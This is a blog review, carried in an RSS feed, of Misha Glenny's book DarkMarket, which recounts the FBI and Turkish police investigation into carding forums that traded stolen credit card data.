			<content:encoded><![CDATA[<p>Former BBC and Guardian correspondent Misha Glenny is an expert on many subjects. He wrote the definitive account of the Balkan Wars &#8211; <a href="http://www.amazon.co.uk/gp/product/014026101X/ref=as_li_tf_tl?ie=UTF8&#038;tag=digithre-21&#038;linkCode=as2&#038;camp=1634&#038;creative=6738&#038;creativeASIN=014026101X">The Fall of Yugoslavia</a> &#8211; during a posting to the area in the early &#8217;90s, and followed that in 2009 with <a href="http://www.amazon.co.uk/gp/product/0099481251/ref=as_li_tf_tl?ie=UTF8&#038;tag=digithre-21&#038;linkCode=as2&#038;camp=1634&#038;creative=6738&#038;creativeASIN=0099481251">McMafia: Seriously Organised Crime</a> &#8211; the a definitive guide to international organised crime. </p>
<p>In his latest work, <a href="http://www.amazon.co.uk/gp/product/1847921264/ref=as_li_tf_tl?ie=UTF8&#038;tag=digithre-21&#038;linkCode=as2&#038;camp=1634&#038;creative=6738&#038;creativeASIN=1847921264">DarkMarket: CyberThieves, CyberCops and You</a>, Glenny has turned his hand to a new subject: Cyber Crime. </p>
<p>Dark Market is the story of the long investigation by Keith Mularski of the FBI and Inspector Bilal Sen of the Turkish Police to disrupt cyber criminals who were acquiring, trading and exploiting stolen credit card data. It is a fantastic tale that documents the side of cyber crime that readers of this website will be least familiar with &#8211; the side <em>after</em> the data has been stolen. The book is a thrilling tale of criminal rivalry and sabotage, matched only by the inter-departmental rivalry between the FBI and the US Secret Service in responding to the crime. It&#8217;s a complicated story, with the criminals pitted against not just each other, but the combined might of the FBI, the Secret Service, the UK&#8217;s Serious Organised Crime Agency, the Turkish Police and the German Police. </p>
<p>The criminals were acquiring the data using <a href="http://www.wired.com/threatlevel/tag/skimming/">credit card skimming</a> devices and by hacking into eCommerce platforms. This data was then traded on forums &#8211; sold from those who acquired the data to wholesalers who would sell it on to teams who could &#8216;cash out&#8217; the money by creating clone cards and visiting banks or ATMs. The trading was conducted on large websites &#8211; CarderPlanet, CardersMarket and DarkMarket &#8211; populated by hackers, criminals and police, all presided over by the main subjects of the book &#8211; Sri Lankan Tamil immigrant &#8216;JiLsi&#8217;, fifteen year old German schoolboy &#8216;Matrix001&#8242;, egotistical US hacker &#8216;IceMan&#8217;, a mysterious, possibly still unidentified, Turkish criminal &#8216;Cha0&#8242; and, most importantly of all, &#8216;Master Splynter&#8217;, an undercover FBI agent. </p>
<p>In the process of writing the book, Glenny has clearly needed to use some of his interviews with the subjects to bring himself up to speed with the technical concepts involved and, as a result, the book is far from technically perfect. Glenny has sensationalised topics which aren&#8217;t particularly sensational &#8211; his reference to an IT administrator enabling his monitoring system as &#8220;waking the mighty VNC beast&#8221; was particularly jarring. We can forgive him this error, though, for he has set out in a highly enjoyable read, the personal stories of those whom we in Information Security work against every day, but rarely see or know.</p>
<img src="http://feeds.feedburner.com/~r/digitalthreat/~4/IwrMtZk327M" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.digitalthreat.net/2011/11/dark-market-lessons-o-cyber-crime/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.digitalthreat.net/2011/11/dark-market-lessons-o-cyber-crime/</feedburner:origLink></item>
	</channel>
</rss>
